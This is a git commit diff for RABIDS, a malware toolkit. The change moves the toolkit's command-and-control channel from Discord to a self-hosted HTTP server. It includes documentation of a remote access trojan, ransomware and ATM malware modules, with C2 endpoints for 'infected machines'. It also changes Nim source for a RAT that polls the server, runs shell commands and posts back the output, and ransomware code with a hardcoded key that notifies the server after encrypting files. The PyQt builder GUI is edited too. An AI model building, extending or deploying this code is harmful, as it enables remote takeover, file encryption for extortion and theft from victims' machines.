HTTP SERVER
This commit is contained in:
68
DOC.md
68
DOC.md
@ -74,6 +74,63 @@ If you place `ghostintheshell` first, the `undeleteme` module will never run.
|
||||
|
||||
---
|
||||
|
||||
## Communication Method: HTTP Server
|
||||
|
||||
RABIDS modules use an **HTTP server** for command and control (C2) and notifications.
|
||||
|
||||
### HTTP Server
|
||||
|
||||
The HTTP server is the communication method for all C2 modules.
|
||||
|
||||
**Advantages:**
|
||||
- Reliable and fast
|
||||
- No rate limits or API restrictions
|
||||
- Easy to set up and manage
|
||||
- Perfect for production deployments
|
||||
|
||||
**Required Endpoints:**
|
||||
Your HTTP server should implement these endpoints:
|
||||
- `POST /notify` - Receives notifications from infected machines
|
||||
- `POST /register` - Registers new infected machines
|
||||
- `GET /commands/{hostname}` - Returns commands for a specific machine
|
||||
- `POST /response` - Receives command output from machines
|
||||
- `GET /ping` - Health check endpoint
|
||||
|
||||
**Modules using HTTP communication:**
|
||||
- `ghostintheshell` - Remote access trojan
|
||||
- `krash` - Ransomware notifications
|
||||
- `bankruptsys` - ATM malware
|
||||
|
||||
### Setting Up Your HTTP Server
|
||||
|
||||
An example HTTP server implementation is included: `http_server_example.py`
|
||||
|
||||
**Quick Start:**
|
||||
|
||||
```bash
|
||||
# Run the example server
|
||||
python3 http_server_example.py
|
||||
|
||||
# Or specify custom host/port
|
||||
python3 http_server_example.py --host 0.0.0.0 --port 8080
|
||||
```
|
||||
|
||||
The example server provides:
|
||||
- Machine registration and tracking
|
||||
- Command queuing and delivery
|
||||
- Response collection
|
||||
- Notification handling
|
||||
- Simple web API for manual C2
|
||||
|
||||
**For Production:**
|
||||
- Deploy the server on a VPS or cloud instance
|
||||
- Use a reverse proxy (nginx/caddy) with HTTPS
|
||||
- Implement authentication and encryption
|
||||
- Add database storage for persistence
|
||||
- Set up logging and monitoring
|
||||
|
||||
---
|
||||
|
||||
## Module: `ctrlvamp`
|
||||
|
||||
**Description:**
|
||||
@ -113,15 +170,15 @@ A data exfiltration tool that collects files from a specified directory, compres
|
||||
## Module: `ghostintheshell`
|
||||
|
||||
**Description:**
|
||||
Provides a covert reverse shell by leveraging the Discord API. The payload connects to Discord as a bot and listens for commands from a specific user, allowing for remote command execution on the victim's machine.
|
||||
Provides a covert reverse shell via HTTP server communication. The payload connects to your HTTP C2 server for remote command execution.
|
||||
|
||||
**How it works:**
|
||||
The payload logs into Discord using the provided bot token. It then waits for messages from the specified `creatorId`. Any message received from that user is executed as a shell command, and the output is sent back as a message to the same Discord channel.
|
||||
|
||||
The payload connects to your HTTP server, registers itself, and polls for commands every 2 seconds. Commands are executed and results are sent back via HTTP POST.
|
||||
|
||||
**Options:**
|
||||
|
||||
- `discordToken`: The authentication token for your Discord bot.
|
||||
- `creatorId`: Your unique Discord user ID. The bot will only accept commands from this user to prevent unauthorized access.
|
||||
- `serverUrl`: The URL of your HTTP C2 server (e.g., `http://your-server.com:8080`).
|
||||
|
||||
---
|
||||
|
||||
@ -142,8 +199,11 @@ A ransomware module that encrypts files within a target directory. After encrypt
|
||||
- `extension`: The file extension to append to encrypted files (e.g., `.locked`).
|
||||
- `targetDir`: The directory whose contents will be encrypted.
|
||||
- `htmlContent`: The HTML content of the ransom note that will be displayed to the victim.
|
||||
- `serverUrl`: Your HTTP server URL for notifications.
|
||||
- `decrypt` (Internal): Set to `true` to build a decryptor instead of an encryptor. This is used by the "UNKRASH" tab.
|
||||
|
||||
**Note:** After encryption completes, the module sends a notification to your HTTP server.
|
||||
|
||||
---
|
||||
|
||||
## Module: `poof`
|
||||
|
||||
@ -1,7 +1,7 @@
|
||||
import strutils, tables, os, dynlib, streams, osproc, sequtils, json
|
||||
|
||||
when not defined(xfs):
|
||||
import dimscord, asyncdispatch, times, options, httpclient, threadpool, random
|
||||
import asyncdispatch, times, httpclient, threadpool, random
|
||||
|
||||
when defined(windows):
|
||||
import winim/lean as winlean, winim/com
|
||||
@ -701,9 +701,7 @@ proc loadState(output: Stream) =
|
||||
|
||||
when not defined(xfs):
|
||||
const
|
||||
discordToken* = "YOUR_DISCORD_BOT_TOKEN"
|
||||
creatorId* = "YOUR_DISCORD_USER_ID"
|
||||
let discord = newDiscordClient(discordToken)
|
||||
serverUrl* = "http://localhost:8080"
|
||||
|
||||
var
|
||||
currentDir = getCurrentDir()
|
||||
|
||||
@ -1,9 +1,7 @@
|
||||
import dimscord, asyncdispatch, times, options, httpclient, osproc, os, strutils, json, threadpool, streams, random
|
||||
import asyncdispatch, times, httpclient, osproc, os, strutils, json, threadpool, streams, random
|
||||
|
||||
const
|
||||
discordToken* = ""
|
||||
creatorId* = ""
|
||||
let discord = newDiscordClient(discordToken)
|
||||
serverUrl* = "http://localhost:8080"
|
||||
|
||||
var
|
||||
currentDir = getCurrentDir()
|
||||
@ -51,31 +49,8 @@ proc runCommandWithTimeoutKill(cmd: string, timeoutMs: int): Future[string] {.as
|
||||
discard execShellCmd("kill -9 " & $pidHolder[])
|
||||
return "Command timed out and was terminated after " & $(timeoutMs div 1000) & " seconds."
|
||||
|
||||
proc sendMessage(channelId: string, content: string): Future[Message] {.async.} =
|
||||
result = await discord.api.sendMessage(channelId, content)
|
||||
|
||||
proc sendLongMessage(channelId: string, content: string): Future[void] {.async.} =
|
||||
const maxLen = 1980 # Leave room for code block characters
|
||||
if content.len == 0:
|
||||
discard await discord.api.sendMessage(channelId, "```\n(Command executed with no output)\n```")
|
||||
|
||||
var remaining = content
|
||||
while remaining.len > 0:
|
||||
let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining
|
||||
discard await discord.api.sendMessage(channelId, "```\n" & chunk & "\n```")
|
||||
if remaining.len > maxLen:
|
||||
remaining = remaining[maxLen .. ^1]
|
||||
else:
|
||||
remaining = ""
|
||||
|
||||
proc sendFile(channelId: string, filePath: string, fileName: string): Future[void] {.async.} =
|
||||
let fileContent = readFile(filePath)
|
||||
discard await discord.api.sendMessage(
|
||||
channelId,
|
||||
files = @[DiscordFile(name: fileName, body: fileContent)]
|
||||
)
|
||||
|
||||
proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[string] {.async.} =
|
||||
proc handleCommand(rawCmd: string, client: HttpClient): Future[string] {.async.} =
|
||||
|
||||
let cmd = rawCmd.strip()
|
||||
if cmd == "!help":
|
||||
return """Available Commands:
|
||||
@ -111,8 +86,6 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
|
||||
return currentDir
|
||||
|
||||
elif cmd == "!sysinfo":
|
||||
var resultMsg: string
|
||||
const maxLen = 1900
|
||||
when defined(linux):
|
||||
let (unameOut, unameExit) = execCmdEx("uname -a", options = {poUsePath}, workingDir = currentDir)
|
||||
let (lsbOut, lsbExit) = execCmdEx("bash -c \"lsb_release -d 2>/dev/null\"", options = {poUsePath}, workingDir = currentDir)
|
||||
@ -120,50 +93,25 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
|
||||
var info = unameOut
|
||||
if lsbExit == 0 and lsbOut.len > 0:
|
||||
info &= "\n" & lsbOut
|
||||
var remaining = info
|
||||
while remaining.len > 0:
|
||||
let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining
|
||||
discard await sendMessage(m.channel_id, "```\n" & chunk & "\n```")
|
||||
if remaining.len > maxLen:
|
||||
remaining = remaining[maxLen .. ^1]
|
||||
else:
|
||||
remaining = ""
|
||||
resultMsg = "System info sent."
|
||||
return info
|
||||
else:
|
||||
resultMsg = "Failed to get system info: " & unameOut
|
||||
return "Failed to get system info: " & unameOut
|
||||
elif defined(windows):
|
||||
let powershellScript = "Get-ComputerInfo | ConvertTo-Json"
|
||||
let command = "powershell -NoProfile -WindowStyle Hidden -Command \"" & powershellScript & "\""
|
||||
let (output, exitCode) = execCmdEx(command, options = {poUsePath}, workingDir = currentDir)
|
||||
if exitCode != 0:
|
||||
resultMsg = "command failed with exit code " & $exitCode & ":\n" & output
|
||||
return "command failed with exit code " & $exitCode & ":\n" & output
|
||||
else:
|
||||
var remaining = output
|
||||
while remaining.len > 0:
|
||||
let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining
|
||||
discard await sendMessage(m.channel_id, "```\n" & chunk & "\n```")
|
||||
if remaining.len > maxLen:
|
||||
remaining = remaining[maxLen .. ^1]
|
||||
else:
|
||||
remaining = ""
|
||||
resultMsg = "System info sent."
|
||||
return output
|
||||
elif defined(macosx):
|
||||
let (output, exitCode) = execCmdEx("system_profiler SPHardwareDataType", options = {poUsePath}, workingDir = currentDir)
|
||||
if exitCode != 0:
|
||||
resultMsg = "command failed with exit code " & $exitCode & ":\n" & output
|
||||
return "command failed with exit code " & $exitCode & ":\n" & output
|
||||
else:
|
||||
var remaining = output
|
||||
while remaining.len > 0:
|
||||
let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining
|
||||
discard await sendMessage(m.channel_id, "```\n" & chunk & "\n```")
|
||||
if remaining.len > maxLen:
|
||||
remaining = remaining[maxLen .. ^1]
|
||||
else:
|
||||
remaining = ""
|
||||
resultMsg = "System info sent."
|
||||
return output
|
||||
else:
|
||||
resultMsg = "sysinfo not supported on this platform."
|
||||
return resultMsg
|
||||
return "sysinfo not supported on this platform."
|
||||
|
||||
elif cmd.startsWith("!cd "):
|
||||
let newDir = cmd[3..^1].strip()
|
||||
@ -190,14 +138,6 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
|
||||
except CatchableError as e:
|
||||
return "failed to download file: " & e.msg
|
||||
|
||||
elif cmd.startsWith("!download "):
|
||||
let fileName = cmd[9..^1].strip()
|
||||
let filePath = joinPath(currentDir, fileName)
|
||||
if fileExists(filePath):
|
||||
await sendFile(m.channel_id, filePath, fileName)
|
||||
return "download successful"
|
||||
else:
|
||||
return "file not found: " & filePath
|
||||
|
||||
elif cmd.startsWith("!mkdir "):
|
||||
let dirName = cmd[6..^1].strip()
|
||||
@ -235,41 +175,6 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
|
||||
else:
|
||||
return "no such file or directory: " & path
|
||||
|
||||
elif cmd == "!screencapture":
|
||||
when defined(macosx):
|
||||
let fileName = "screenshot_" & $now().toTime().toUnix() & ".jpg"
|
||||
let filePath = joinPath(currentDir, fileName)
|
||||
let (output, exitCode) = execCmdEx("screencapture -x " & filePath)
|
||||
if exitCode == 0 and fileExists(filePath):
|
||||
await sendFile(m.channel_id, filePath, fileName)
|
||||
if fileExists(filePath):
|
||||
removeFile(filePath)
|
||||
return "screenshot taken, sent and deleted!"
|
||||
else:
|
||||
return "failed to take screenshot: " & output
|
||||
elif defined(windows):
|
||||
let fileName = "screenshot_" & $now().toTime().toUnix() & ".png"
|
||||
let filePath = joinPath(currentDir, fileName)
|
||||
let powershellScript = """
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
Add-Type -AssemblyName System.Drawing
|
||||
$bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
|
||||
$bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
|
||||
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
|
||||
$graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
|
||||
$bitmap.Save('%1', [System.Drawing.Imaging.ImageFormat]::Png)
|
||||
"""
|
||||
let command = "powershell -Command \"" & powershellScript.replace("%1", filePath.replace("\\", "\\\\")) & "\""
|
||||
let (output, exitCode) = execCmdEx(command)
|
||||
if exitCode == 0 and fileExists(filePath):
|
||||
await sendFile(m.channel_id, filePath, fileName)
|
||||
if fileExists(filePath):
|
||||
removeFile(filePath)
|
||||
return "Screenshot taken, sent and deleted!"
|
||||
else:
|
||||
return "failed to take screenshot: " & output
|
||||
else:
|
||||
return "screencapture not supported on this platform."
|
||||
|
||||
else:
|
||||
try:
|
||||
@ -313,60 +218,51 @@ proc generateSessionId(): string =
|
||||
|
||||
var machineName: string
|
||||
|
||||
proc onReady(s: Shard, r: Ready) {.event(discord).} =
|
||||
proc httpServerMode() {.async.} =
|
||||
echo "Starting HTTP server mode..."
|
||||
machineName = getEnv("MACHINE_NAME", generateSessionId())
|
||||
if machineName notin sessionRegistry:
|
||||
sessionRegistry.add(machineName)
|
||||
|
||||
# Register with server
|
||||
try:
|
||||
let dm = await discord.api.createUserDm(creatorId)
|
||||
discard await discord.api.sendMessage(dm.id, machineName & " is live!")
|
||||
except:
|
||||
echo "Could not send startup message to creator ID: ", creatorId
|
||||
|
||||
proc messageCreate(s: Shard, m: Message) {.event(discord).} =
|
||||
var client = newHttpClient()
|
||||
let content = m.content.strip()
|
||||
echo "Processing command: ", content
|
||||
|
||||
if content == "!sessions":
|
||||
let sessionList = if sessionRegistry.len == 0: "No active sessions." else: sessionRegistry.join("\n")
|
||||
discard await sendMessage(m.channel_id, sessionList)
|
||||
return
|
||||
elif content == "!ping":
|
||||
let before = epochTime() * 1000
|
||||
let msg = await discord.api.sendMessage(m.channel_id, "ping?")
|
||||
let after = epochTime() * 1000
|
||||
discard await discord.api.editMessage(m.channel_id, msg.id, "pong! took " & $int(after - before) & "ms | " & $s.latency() & "ms.")
|
||||
let client = newHttpClient()
|
||||
let data = "{\"hostname\":\"" & machineName & "\",\"status\":\"live\"}"
|
||||
client.headers = newHttpHeaders({"Content-Type": "application/json"})
|
||||
discard client.postContent(serverUrl & "/register", body = data)
|
||||
echo machineName & " registered with HTTP server"
|
||||
except Exception as e:
|
||||
echo "Failed to register with HTTP server: ", e.msg
|
||||
return
|
||||
|
||||
if content.startsWith("!") and not content.startsWith("!sessions") and not content.startsWith("!ping"):
|
||||
let parts = content.split(' ', 1)
|
||||
let firstWord = parts[0]
|
||||
let isTargeted = firstWord.len > 1 and firstWord.startsWith("!") and not firstWord.startsWith("!!")
|
||||
|
||||
if isTargeted:
|
||||
# Command is like "!session-name !command"
|
||||
let targetName = firstWord[1..^1]
|
||||
|
||||
if targetName == machineName:
|
||||
let commandToRun = if parts.len > 1: parts[1].strip() else: ""
|
||||
if commandToRun.len > 0 and commandToRun.startsWith("!"):
|
||||
try:
|
||||
let output = await handleCommand(commandToRun, m, client)
|
||||
if output.len > 0:
|
||||
await sendLongMessage(m.channel_id, output)
|
||||
except CatchableError as e:
|
||||
discard await sendMessage(m.channel_id, "Error on " & machineName & ": " & e.msg)
|
||||
else:
|
||||
discard await sendMessage(m.channel_id, machineName & " is here!")
|
||||
else:
|
||||
try:
|
||||
let output = await handleCommand(content, m, client)
|
||||
if output.len > 0:
|
||||
await sendLongMessage(m.channel_id, output)
|
||||
except CatchableError as e:
|
||||
echo "Error executing command: ", e.msg
|
||||
discard await sendMessage(m.channel_id, "Error on " & machineName & ": " & e.msg)
|
||||
# Poll for commands
|
||||
while true:
|
||||
try:
|
||||
let client = newHttpClient()
|
||||
let response = client.getContent(serverUrl & "/commands/" & machineName)
|
||||
if response.len > 0:
|
||||
let cmdData = parseJson(response)
|
||||
if cmdData.hasKey("command"):
|
||||
let cmd = cmdData["command"].getStr()
|
||||
echo "Received command: ", cmd
|
||||
let output = await handleCommand(cmd, client)
|
||||
# Send response back
|
||||
let respData = "{\"hostname\":\"" & machineName & "\",\"output\":\"" & output.replace("\"", "\\\"") & "\"}"
|
||||
client.headers = newHttpHeaders({"Content-Type": "application/json"})
|
||||
discard client.postContent(serverUrl & "/response", body = respData)
|
||||
except Exception as e:
|
||||
echo "Error in command loop: ", e.msg
|
||||
await sleepAsync(2000) # Poll every 2 seconds
|
||||
|
||||
proc main() =
|
||||
waitFor discord.startSession()
|
||||
if serverUrl.len == 0:
|
||||
echo "Error: Server URL not configured"
|
||||
return
|
||||
|
||||
try:
|
||||
let client = newHttpClient()
|
||||
discard client.getContent(serverUrl & "/ping")
|
||||
echo "HTTP server is available at: ", serverUrl
|
||||
waitFor httpServerMode()
|
||||
except Exception as e:
|
||||
echo "Failed to connect to HTTP server: ", e.msg
|
||||
echo "Please check server URL and ensure server is running"
|
||||
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
import os, nimcrypto, strutils, osproc, dimscord, asyncdispatch, options
|
||||
import os, nimcrypto, strutils, osproc, asyncdispatch, httpclient
|
||||
|
||||
const defaultHtml = """
|
||||
<!DOCTYPE html>
|
||||
@ -55,8 +55,7 @@ const key* = "0123456789abcdef0123456789abcdef"
|
||||
const iv* = "abcdef9876543210"
|
||||
const extension* = ".locked"
|
||||
var htmlContent* = "YOUR_HTML_RANSOM_NOTE_CONTENT_HERE"
|
||||
const discordToken* = "YOUR_DISCORD_BOT_TOKEN"
|
||||
const creatorId* = "YOUR_DISCORD_USER_ID"
|
||||
const serverUrl* = "http://localhost:8080"
|
||||
|
||||
proc processFile(file: string, key: string, iv: string, extension: string) =
|
||||
try:
|
||||
@ -128,18 +127,19 @@ proc getHostname(): string =
|
||||
|
||||
let machineName = getHostname()
|
||||
|
||||
proc sendDiscordMessage(message: string) {.async.} =
|
||||
if discordToken.len == 0 or creatorId.len == 0:
|
||||
echo "Discord token or creator ID is missing. Skipping notification."
|
||||
proc sendNotification(message: string) {.async.} =
|
||||
if serverUrl.len == 0:
|
||||
echo "Server URL not configured. Skipping notification."
|
||||
return
|
||||
|
||||
let discord = newDiscordClient(discordToken)
|
||||
|
||||
try:
|
||||
let dm = await discord.api.createUserDm(creatorId)
|
||||
discard await discord.api.sendMessage(dm.id, machineName & ": " & message)
|
||||
let client = newHttpClient()
|
||||
let data = "{\"hostname\":\"" & machineName & "\",\"message\":\"" & message & "\"}"
|
||||
client.headers = newHttpHeaders({"Content-Type": "application/json"})
|
||||
let response = client.postContent(serverUrl & "/notify", body = data)
|
||||
echo "Notification sent to HTTP server: ", message
|
||||
except Exception as e:
|
||||
echo "Failed to send Discord message: ", e.msg
|
||||
echo "Failed to send notification to HTTP server: ", e.msg
|
||||
|
||||
proc main() =
|
||||
when defined(decrypt):
|
||||
@ -192,5 +192,5 @@ proc main() =
|
||||
echo "Ransom note created at ", ransomFile
|
||||
except OSError as e:
|
||||
echo "Error creating or opening ransom note: ", e.msg
|
||||
waitFor sendDiscordMessage("Encryption complete")
|
||||
waitFor sendNotification("Encryption complete")
|
||||
|
||||
|
||||
243
main.py
243
main.py
@ -15,8 +15,6 @@ from PyQt5.QtWidgets import (
|
||||
import json
|
||||
from PyQt5.QtGui import QFont, QPixmap, QMovie, QIcon
|
||||
from PyQt5.QtCore import Qt, QThread, pyqtSignal, QObject, QTimer, QUrl
|
||||
import discord
|
||||
import asyncio
|
||||
|
||||
ASCII = r"""
|
||||
"""
|
||||
@ -78,8 +76,7 @@ MODULE_OPTIONS = {
|
||||
'dumpsterFile': '$HOME/dumpster.dat'
|
||||
},
|
||||
'module/ghostintheshell': {
|
||||
'discordToken': 'YOUR_DISCORD_BOT_TOKEN',
|
||||
'creatorId': 'YOUR_DISCORD_USER_ID'
|
||||
'serverUrl': 'http://localhost:8080'
|
||||
},
|
||||
'module/krash': {
|
||||
'key': '0123456789abcdef0123456789abcdef',
|
||||
@ -87,8 +84,7 @@ MODULE_OPTIONS = {
|
||||
'extension': '.locked',
|
||||
'targetDir': '$HOME/Documents',
|
||||
'htmlContent': DEFAULT_KRASH_HTML,
|
||||
'discordToken': 'YOUR_DISCORD_BOT_TOKEN',
|
||||
'creatorId': 'YOUR_DISCORD_USER_ID',
|
||||
'serverUrl': 'http://localhost:8080'
|
||||
},
|
||||
'module/poof': {
|
||||
'targetDir': '$HOME/Documents'
|
||||
@ -102,8 +98,7 @@ MODULE_OPTIONS = {
|
||||
'embedFiles': 'path/to/driver.sys,path/to/cert.pem'
|
||||
},
|
||||
'module/bankruptsys': {
|
||||
'discordToken': 'YOUR_DISCORD_BOT_TOKEN',
|
||||
'creatorId': 'YOUR_DISCORD_USER_ID',
|
||||
'serverUrl': 'http://localhost:8080'
|
||||
},
|
||||
'module/winkrashv2': {
|
||||
'key': 'secret',
|
||||
@ -112,145 +107,6 @@ MODULE_OPTIONS = {
|
||||
}
|
||||
|
||||
|
||||
class DiscordListener(QObject):
|
||||
device_status_update = pyqtSignal(str, str)
|
||||
|
||||
def __init__(self, token, creator_id=None):
|
||||
super().__init__()
|
||||
self.token = token
|
||||
self.creator_id = creator_id
|
||||
intents = discord.Intents.default()
|
||||
intents.message_content = True
|
||||
self.client = discord.Client(intents=intents)
|
||||
|
||||
@self.client.event
|
||||
async def on_ready():
|
||||
print(f'GUI Listener logged in as {self.client.user}')
|
||||
self.device_status_update.emit("SYSTEM", f"Connected to Discord as {self.client.user}")
|
||||
|
||||
creator_found = False
|
||||
if self.creator_id:
|
||||
try:
|
||||
creator = await self.client.fetch_user(int(self.creator_id))
|
||||
if not creator:
|
||||
self.device_status_update.emit("ERROR", f"Could not find creator with ID: {self.creator_id}")
|
||||
return
|
||||
self.device_status_update.emit("SYSTEM", f"Fetching DM history with {creator.name}...")
|
||||
await self.fetch_history(creator)
|
||||
creator_found = True
|
||||
except (ValueError, discord.NotFound):
|
||||
self.device_status_update.emit("ERROR", f"Could not find creator with ID: {self.creator_id}")
|
||||
except discord.Forbidden:
|
||||
self.device_status_update.emit("ERROR", "Bot does not have permission to fetch DM history.")
|
||||
|
||||
if not creator_found:
|
||||
self.device_status_update.emit("SYSTEM", "No Creator ID provided or user not found. Only listening for new DMs.")
|
||||
|
||||
@self.client.event
|
||||
async def on_message(message):
|
||||
is_dm = isinstance(message.channel, discord.DMChannel)
|
||||
is_from_creator = self.creator_id and str(message.author.id) == self.creator_id
|
||||
|
||||
if is_dm and is_from_creator:
|
||||
self.process_encryption_message(message.content)
|
||||
|
||||
async def fetch_history(self, user):
|
||||
"""Fetches and processes historical messages from a user."""
|
||||
async for msg in user.history(limit=100):
|
||||
if ':' in msg.content and 'encryption complete' in msg.content.lower():
|
||||
self.process_encryption_message(msg.content)
|
||||
|
||||
def process_encryption_message(self, content):
|
||||
if ':' in content and 'encryption complete' in content.lower():
|
||||
hostname = content.split(':', 1)[0].strip()
|
||||
self.device_status_update.emit(hostname, "Encrypted")
|
||||
|
||||
async def run_client(self):
|
||||
try:
|
||||
await self.client.start(self.token)
|
||||
except discord.LoginFailure:
|
||||
self.device_status_update.emit("ERROR", "Discord login failed. Check the token.")
|
||||
|
||||
async def stop_client(self):
|
||||
if self.client:
|
||||
await self.client.close()
|
||||
|
||||
class DiscordC2Client(QObject):
|
||||
"""Handles Discord connection and communication for the C2 tab."""
|
||||
log_message = pyqtSignal(str, str)
|
||||
connection_status = pyqtSignal(bool)
|
||||
|
||||
def __init__(self, token, target_user_id):
|
||||
super().__init__()
|
||||
self.token = token
|
||||
self.target_user_id = target_user_id
|
||||
self.target_user = None
|
||||
intents = discord.Intents.default()
|
||||
intents.messages = True
|
||||
intents.dm_messages = True
|
||||
intents.message_content = True
|
||||
self.client = discord.Client(intents=intents)
|
||||
|
||||
@self.client.event
|
||||
async def on_ready():
|
||||
self.log_message.emit(f"C2 client logged in as {self.client.user}", "success")
|
||||
try:
|
||||
self.target_user = await self.client.fetch_user(int(self.target_user_id))
|
||||
self.log_message.emit(f"Connected to target user '{self.target_user.name}'.", "success")
|
||||
self.connection_status.emit(True)
|
||||
except (ValueError, discord.NotFound):
|
||||
self.log_message.emit(f"Could not find target user with ID: {self.target_user_id}", "error")
|
||||
await self.stop_client()
|
||||
except discord.Forbidden:
|
||||
self.log_message.emit("Bot does not have permission to fetch user.", "error")
|
||||
await self.stop_client()
|
||||
|
||||
@self.client.event
|
||||
async def on_message(message):
|
||||
is_dm = isinstance(message.channel, discord.DMChannel)
|
||||
|
||||
if is_dm:
|
||||
content = message.content.strip()
|
||||
if content:
|
||||
if content.startswith("```") and content.endswith("```"):
|
||||
content = re.sub(r"```(plaintext\n)?|```", "", content).strip()
|
||||
self.log_message.emit(content, "c2_recv")
|
||||
if message.attachments:
|
||||
for attachment in message.attachments:
|
||||
self.log_message.emit(f"Received file: <a href='{attachment.url}'>{attachment.filename}</a>", "c2_recv")
|
||||
|
||||
async def send_dm(self, content):
|
||||
if self.target_user:
|
||||
try:
|
||||
sent_content = content.strip()
|
||||
await self.target_user.send(sent_content)
|
||||
self.log_message.emit(sent_content, "c2_sent")
|
||||
return True
|
||||
except discord.Forbidden:
|
||||
self.log_message.emit("Cannot send DMs to this user. Check permissions.", "error")
|
||||
return False
|
||||
except Exception as e:
|
||||
self.log_message.emit(f"Failed to send DM: {str(e)}", "error")
|
||||
return False
|
||||
else:
|
||||
self.log_message.emit("Not connected to a target user.", "error")
|
||||
return False
|
||||
|
||||
async def run_client(self):
|
||||
try:
|
||||
await self.client.start(self.token)
|
||||
except discord.LoginFailure:
|
||||
self.log_message.emit("C2 client login failed. Check the token.", "error")
|
||||
self.connection_status.emit(False)
|
||||
except Exception as e:
|
||||
self.log_message.emit(f"C2 client error: {str(e)}", "error")
|
||||
self.connection_status.emit(False)
|
||||
|
||||
async def stop_client(self):
|
||||
if self.client and self.client.is_ready():
|
||||
await self.client.close()
|
||||
self.log_message.emit("C2 client disconnected.", "system")
|
||||
self.connection_status.emit(False)
|
||||
|
||||
class BuildThread(QThread):
|
||||
log_signal = pyqtSignal(str, str)
|
||||
@ -290,71 +146,6 @@ class BuildThread(QThread):
|
||||
self.log_signal.emit(f"An unexpected error occurred during build: {e}", "error")
|
||||
self.finished_signal.emit(-1)
|
||||
|
||||
class DiscordListenerThread(QThread):
|
||||
device_status_update = pyqtSignal(str, str)
|
||||
|
||||
def __init__(self, token, creator_id=None):
|
||||
super().__init__()
|
||||
self.token = token
|
||||
self.creator_id = creator_id
|
||||
self.listener = None
|
||||
self.loop = None
|
||||
|
||||
def run(self):
|
||||
self.loop = asyncio.new_event_loop()
|
||||
asyncio.set_event_loop(self.loop)
|
||||
listener = DiscordListener(self.token, self.creator_id)
|
||||
listener.device_status_update.connect(self.device_status_update)
|
||||
self.listener = listener
|
||||
self.loop.run_until_complete(listener.run_client())
|
||||
|
||||
def refresh_messages(self):
|
||||
if self.loop and self.listener and self.listener.client and self.listener.client.is_ready():
|
||||
if self.creator_id:
|
||||
async def do_refresh():
|
||||
try:
|
||||
creator = await self.listener.client.fetch_user(int(self.creator_id))
|
||||
if creator:
|
||||
self.device_status_update.emit("SYSTEM", f"Refreshing DM history with {creator.name}...")
|
||||
await self.listener.fetch_history(creator)
|
||||
self.device_status_update.emit("SYSTEM", "Refresh complete.")
|
||||
except Exception as e:
|
||||
self.device_status_update.emit("ERROR", f"Failed to refresh: {e}")
|
||||
|
||||
self.loop.call_soon_threadsafe(self.loop.create_task, do_refresh())
|
||||
|
||||
def stop(self):
|
||||
if self.loop and self.listener:
|
||||
self.loop.call_soon_threadsafe(self.loop.create_task, self.listener.stop_client())
|
||||
self.device_status_update.emit("SYSTEM", "Disconnected from Discord.")
|
||||
|
||||
class C2Thread(QThread):
|
||||
"""Runs the Discord C2 client in a separate thread."""
|
||||
log_message = pyqtSignal(str, str)
|
||||
connection_status = pyqtSignal(bool)
|
||||
|
||||
def __init__(self, token, target_user_id):
|
||||
super().__init__()
|
||||
self.token = token
|
||||
self.target_user_id = target_user_id
|
||||
self.c2_client = None
|
||||
self.loop = None
|
||||
|
||||
def run(self):
|
||||
self.loop = asyncio.new_event_loop()
|
||||
asyncio.set_event_loop(self.loop)
|
||||
self.c2_client = DiscordC2Client(self.token, self.target_user_id)
|
||||
self.c2_client.log_message.connect(self.log_message)
|
||||
self.c2_client.connection_status.connect(self.connection_status)
|
||||
self.loop.run_until_complete(self.c2_client.run_client())
|
||||
|
||||
def send_message(self, content):
|
||||
if self.loop and self.c2_client and self.c2_client.client.is_ready():
|
||||
asyncio.run_coroutine_threadsafe(self.c2_client.send_dm(content), self.loop)
|
||||
|
||||
def stop(self):
|
||||
if self.loop and self.c2_client:
|
||||
asyncio.run_coroutine_threadsafe(self.c2_client.stop_client(), self.loop)
|
||||
|
||||
class DependencyInstallerThread(QThread):
|
||||
log_signal = pyqtSignal(str, str)
|
||||
@ -434,8 +225,6 @@ class RABIDSGUI(QMainWindow):
|
||||
self.selected_modules = []
|
||||
self.loading_movie = None
|
||||
self.build_thread = None
|
||||
self.discord_thread = None
|
||||
self.c2_thread = None
|
||||
self.installer_thread = None
|
||||
self.option_inputs = {}
|
||||
self.current_option_values = {}
|
||||
@ -874,7 +663,7 @@ class RABIDSGUI(QMainWindow):
|
||||
left_column_layout.addLayout(devices_header_layout)
|
||||
|
||||
live_devices_desc_label = QLabel("This panel displays a live list of devices successfully encrypted by the 'krash' module.\n"
|
||||
"Devices appear here after reporting back via the Discord listener.")
|
||||
"Devices report back via HTTP server.")
|
||||
live_devices_desc_label.setFont(subtitle_font)
|
||||
live_devices_desc_label.setStyleSheet("color: #FFF100;")
|
||||
live_devices_desc_label.setWordWrap(True)
|
||||
@ -925,7 +714,7 @@ class RABIDSGUI(QMainWindow):
|
||||
c2_header_layout.addWidget(c2_title)
|
||||
c2_left_layout.addLayout(c2_header_layout)
|
||||
|
||||
c2_desc = QLabel("Connect to RAT to send commands to and receive output from the 'ghostintheshell' payload. \nControl victim's device remotely")
|
||||
c2_desc = QLabel("Connect to RAT to send commands to and receive output from the 'ghostintheshell' payload.\nCommunication via HTTP Server\nControl victim's device remotely")
|
||||
c2_desc.setFont(subtitle_font)
|
||||
c2_desc.setStyleSheet("color: #00A9FD;")
|
||||
c2_desc.setWordWrap(True)
|
||||
@ -986,17 +775,11 @@ class RABIDSGUI(QMainWindow):
|
||||
setting_layout.addSpacing(10)
|
||||
return setting_layout
|
||||
|
||||
listener_token_label = QLabel("Listener Bot Token")
|
||||
self.settings_discord_token_edit = QLineEdit()
|
||||
listener_token_desc = "The authentication token for the Discord bot. Used by the KRASH listener and C2 functionality."
|
||||
